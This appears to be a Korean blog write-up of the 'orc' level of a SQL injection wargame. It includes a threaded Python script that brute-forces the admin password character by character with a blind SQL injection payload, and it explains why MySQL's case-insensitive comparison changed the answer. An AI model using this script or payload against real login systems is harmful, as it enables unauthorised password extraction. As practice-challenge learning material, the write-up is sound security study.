이게 바로 blind sql injection
아예 pw를 알아내야하는 문제 같다.(비박스 책에서 addslashes는 우회할 수 없다고 했다.. 확실X)
1. 비밀번호 길이 알아내기
2. 비밀번호 한 글자씩 알아내기
import requests
import threading
def req_url(i):
cookies={'PHPSESSID':''}
for c in range(48, 123):
response = requests.get("https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=' or id='admin' and substr(pw,"+str(i)+",1)=char("+str(c)+")%23",cookies=cookies)
if 'Hello admin' in response.text:
print('index:',str(i),' char:',chr(c))
print("' or id='admin' and substr(pw,"+str(i)+",1)=char("+str(c)+")%23\n")
return
for i in range(1, 9):
t = threading.Thread(target=req_url, args=(i,))
t.start()
내가 처음 구한 결과는 095A9852였다. 그런데 실패해서 답을 찾아봤다. 답은 095a9852
MySQL이 대소문자 구별을 하지 않는다는 것은 알고있었는데 데이터의 대소문자를 구별 안하는 지는 몰랐다.
내 다른 DB에서 테스트함으로써 확인했다. 이 두 쿼리는 같은 데이터를 가져온다.
select * from attack where attackId=1 and substr(program, 1, 1)=char(104);
select * from attack where attackId=1 and substr(program, 1, 1)=char(72);
때문에 코드를 돌려 값을 얻었음에도 소문자로 다시 시도해봐야한다.
댓글